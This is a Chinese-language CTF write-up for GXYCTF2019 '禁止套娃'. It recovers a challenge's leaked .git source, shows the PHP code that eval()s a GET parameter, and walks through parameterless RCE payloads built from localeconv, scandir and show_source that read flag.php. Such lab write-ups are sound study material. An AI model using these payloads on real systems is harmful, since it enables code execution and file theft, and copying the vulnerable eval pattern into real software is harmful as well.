GXYCTF2019 禁止套娃 1题解


GXYCTF2019 禁止套娃 1题解

前置知识

.git源码泄露

之前找的大部分都是python2的,自己改了半天没改好,发现有现成的,呜呜呜。
python3编写的githack

无参数RCE

https://kingofkb.github.io/2022/01/12/%E9%95%BF%E5%AE%89%E6%88%98%E7%96%ABweb-RCE_No_Para%E5%A4%8D%E7%8E%B0/

题目详解

首先dirsearch扫目录,发现

429   568B   http://3325673f-8741-4b3b-8c0a-ed258e6f5d97.node4.buuoj.cn:81/.git/

是git源码泄露,用githack扫出index.php的源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

首先第一个判断

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

是ban了一些伪协议之类的东西。
第二个判断

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

无参数RCE写法,只能匹配a(b())。
第三个判断

if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

ban了一些函数。
按照一般payload

?exp=var_dump(get_defined_vars);&b=1

但是get被ban掉了,想办法绕过,这时候选择localeconv()函数加scandir()函数绕过,我们知道scandir()可以列出当前目录,同时,localeconv()的第一位必定是.,利用current取出,构造

?exp=var_dump(scandir(current(localeconv())));&b=1
回显:array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" } 

找到flag.php,想办法取出,构造

?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));&b=1
回显:string(8) "flag.php" 

最后,构造

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));&b=1
回显:
 

得到flag:flag{eb31631a-9e07-42dd-a0ba-fbdcdb2a86a4}

参考:
https://www.cnblogs.com/zzjdbk/p/13720677.html
https://blog.csdn.net/qq_42812036/article/details/104406481
https://blog.csdn.net/cainiao17441898/article/details/117158702


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !